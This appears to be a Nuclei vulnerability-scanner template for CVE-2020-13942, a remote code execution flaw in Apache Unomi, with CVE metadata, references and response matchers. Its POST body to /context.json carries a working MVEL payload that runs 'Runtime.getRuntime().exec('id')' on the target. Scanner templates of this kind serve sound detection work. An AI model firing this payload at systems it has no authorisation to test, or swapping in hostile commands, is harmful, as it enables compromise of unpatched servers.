84 lines
2.5 KiB
YAML
84 lines
2.5 KiB
YAML
id: CVE-2020-13942
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info:
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name: Apache Unomi <1.5.2 - Remote Code Execution
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author: dwisiswant0
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severity: critical
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description: |
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Apache Unomi allows conditions to use OGNL and MVEL scripting which
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offers the possibility to call static Java classes from the JDK
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that could execute code with the permission level of the running Java process.
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This vulnerability affects all versions of Apache Unomi prior to 1.5.2.
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remediation: Apache Unomi users should upgrade to 1.5.2 or later.
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reference:
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- https://securityboulevard.com/2020/11/apache-unomi-cve-2020-13942-rce-vulnerabilities-discovered/
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- https://twitter.com/chybeta/status/1328912309440311297
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- https://nvd.nist.gov/vuln/detail/CVE-2020-13942
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- http://unomi.apache.org./security/cve-2020-13942.txt
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- https://lists.apache.org/thread.html/r4a8fa91836687eaca42b5420a778ca8c8fd3a3740e4cf4401acc9118@%3Cusers.unomi.apache.org%3E
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2020-13942
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cwe-id: CWE-74,CWE-20
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epss-score: 0.97521
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epss-percentile: 0.99985
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cpe: cpe:2.3:a:apache:unomi:*:*:*:*:*:*:*:*
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metadata:
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max-request: 1
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vendor: apache
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product: unomi
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tags: cve,cve2020,apache,rce
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variables:
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id: "{{to_lower(rand_text_alpha(5))}}"
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http:
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- method: POST
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path:
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- "{{BaseURL}}/context.json"
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body: |
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{
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"filters": [
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{
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"id": "{{id}}",
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"filters": [
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{
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"condition": {
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"parameterValues": {
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"nuclei": "script::Runtime.getRuntime().exec('id')"
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},
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"type": "profilePropertyCondition"
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}
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}
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]
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}
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],
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"sessionId": "nuclei"
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}
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headers:
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Content-Type: "application/json"
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matchers-condition: and
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matchers:
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- type: word
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part: header
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words:
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- "application/json"
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- "context-profile-id"
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condition: and
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- type: regex
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part: body
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regex:
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- "(profile|session)(Id|Properties|Segments)"
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- "[a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12}"
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condition: and
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- type: status
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status:
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- 200
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# digest: 4b0a00483046022100c8b7628377418c61e07f14931ae1f24e83311edae796cd5d877ba762b1826dc90221008b2bbf9695c566eff8680e2e7fa2f6e45de91637854d3ae37c9d382f31ff4f31:922c64590222798bb761d5b6d8e72950
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